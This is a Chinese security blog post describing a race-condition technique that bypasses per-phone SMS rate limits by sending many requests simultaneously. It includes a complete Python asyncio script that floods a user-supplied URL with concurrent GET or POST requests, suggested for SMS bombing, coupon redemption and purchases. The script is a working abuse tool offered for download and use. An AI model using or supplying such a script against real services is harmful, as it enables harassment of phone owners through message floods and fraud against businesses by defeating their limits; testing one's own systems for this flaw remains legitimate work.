给大家分享一个我最近发现的一个漏洞。并发漏洞。

通常我们测试短信轰炸主要是放到burp的repeater,尝试多次发送,如果成功则证明存在。

有时程序会做判断,同一个手机号一分钟内只能发一次,并且每次发送时都会校验自己一分钟内有没有发送过,如果放到repeater,重放第二次就会被拦截,会提示一分钟之后才能继续发送。

首先说一下我们通过repeater重放的这种叫做同步并发,虽然同一个数据包被重复发送了很多次,但是他是有序的发送,如果发完第一个包后程序对第二个包做限制的话,第二个包也就无法重放成功了,通常的开发防御方式都是这种,并发发包都是有序的。

介绍下另外一种思路,就是无序发包,也就是异步并发,怎么去理解同步并发以及异步并发。同步和异步就像是赛跑,同步是接力跑,一个跑完了下一个才会接着跑。intruter模块的工作模式就是一个请求结束了,下一个请求才开始,异步就是所有人同时跑,一条短信发送前会判断上一分钟内是否发送过,没有则发送短信,有则拦截。但是如果三条短信同时发送。分别判断上一分钟是否发送,判断成功后会发送,这种同时发送请求的异步并发有的时候就会绕过当前的短信发送时隔限制。

利用的场景:短信发送啊,兑换啊,购买啊,都可以尝试。

附加代码的下载地址,方便下载:
https://github.com/JE2Se/Async_Exp

# -*- encoding: utf-8 -*-
'''
@File : Async_Exp.py
@Time : 2019/06/25 23:39:09
@Author : JE2Se 
@Version : 1.0
@Contact : [email protected]
@WebSite : https://www.je2se.com
异步并发的可能通用的脚本吧~
有一些漏洞可能还会有特殊的请求头,就不写了,多个逻辑而已,有需要自己添加
'''

import asyncio
import aiohttp
from fake_useragent import UserAgent

async def seedSMSpost(url, headers,data):
    conn = aiohttp.TCPConnector(verify_ssl = False)
    session = aiohttp.ClientSession(connector = conn) 
    response = await session.post(url, headers = headers,data = data)
    result = await response.text()
    session.close()
    return result

async def seedSMSget(url):
    conn = aiohttp.TCPConnector(verify_ssl = False)
    session = aiohttp.ClientSession(connector = conn) 
    response = await session.get(url)
    result = await response.text()
    session.close()
    return result

async def requestpost():
    result = await seedSMSpost(url,headers,data)
    print(result)

async def requestget():
    result = await seedSMSget(url)
    print(result)

if __name__ == "__main__":
    ua = UserAgent(verify_ssl=False)
    headers = {'User-Agent':ua.random}
    caseCase = int(input("GET请求请输入「1」,POST请求请输入「2」:"))
    if caseCase == 1:
        url = str(input("请输入GET请求的链接:"))
        threadCount = int(input("请输入发送的条数:"))
        count = range(threadCount)
        tasks = [asyncio.ensure_future(requestget()) for _ in count]
        loop = asyncio.get_event_loop()
        loop.run_until_complete(asyncio.wait(tasks))
    else:
        url = str(input("请输入POST请求的链接:"))
        data = str(input("请输入POST请求中的数据:"))  #如修改手机号,需要再复制前修改
        threadCount = int(input("请输入发送的条数:"))
        count = range(threadCount)
        tasks = [asyncio.ensure_future(requestpost()) for _ in count]
        loop = asyncio.get_event_loop()
        loop.run_until_complete(asyncio.wait(tasks))

标签: none

添加新评论